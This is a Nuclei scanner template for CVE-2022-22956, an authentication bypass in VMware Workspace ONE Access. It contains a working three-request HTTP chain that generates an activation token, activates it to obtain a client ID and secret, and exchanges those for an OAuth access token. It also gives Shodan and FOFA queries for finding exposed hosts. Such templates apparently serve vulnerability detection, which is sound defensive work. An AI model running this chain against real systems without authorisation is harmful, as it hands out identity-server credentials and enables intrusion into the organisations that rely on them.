VMware Workspace ONE Access - Authentication Bypass

id: CVE-2022-22956

info:
  name: VMware Workspace ONE Access - Authentication Bypass
  author: daffainfo
  severity: critical
  description: |
    VMware Workspace ONE Access has two authentication bypass vulnerabilities (CVE-2022-22955 & CVE-2022-22956) in the OAuth2 ACS framework. A malicious actor may bypass the authentication mechanism and execute any operation due to exposed endpoints in the authentication framework.
  impact: |
    Attackers can bypass authentication and perform unauthorized operations, potentially leading to full system compromise.
  remediation: |
    Apply the latest security patches provided by VMware to address these vulnerabilities.
  reference:
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain.rb
    - https://srcincite.io/blog/2022/08/11/i-am-whoever-i-say-i-am-infiltrating-vmware-workspace-one-access-using-a-0-click-exploit.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-22956
    - http://packetstormsecurity.com/files/171918/Mware-Workspace-ONE-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-22956
    cwe-id: CWE-287
    epss-score: 0.50694
    epss-percentile: 0.98784
    cpe: cpe:2.3:a:vmware:identity_manager:3.3.3:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: vmware
    product: identity_manager
    shodan-query: http.favicon.hash:"-1250474341"
    fofa-query: icon_hash=-1250474341
  tags: cve,cve2022,vmware,workspace,auth-bypass,vkev,vuln

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /SAAS/API/1.0/REST/oauth2/generateActivationToken/Service__OAuth2Client HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 0

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "activationToken", "_links")'
          - 'contains(header, "application/json")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: json
        name: activation_token
        json:
          - '.activationToken'
        internal: true

  - raw:
      - |
        POST /SAAS/API/1.0/REST/oauth2/activate HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {{activation_token}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "client_id", "client_secret")'
          - 'contains(header, "application/json")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: json
        name: client_id
        json:
          - '.client_id'
        internal: true

      - type: json
        name: client_secret
        json:
          - '.client_secret'
        internal: true

  - raw:
      - |
        POST /SAAS/auth/oauthtoken HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        grant_type=client_credentials&client_id={{client_id}}&client_secret={{client_secret}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "access_token", "token_type")'
          - 'contains(header, "application/json")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100b638fb48482f7e60aa41f4b3a261ccc7b022f41541a587655aa0caf44365633c02202bcbdc6ea7adeeeb86965383895ce65af910eb66f73d8e044fce7e93ac9dcb8d:922c64590222798bb761d5b6d8e72950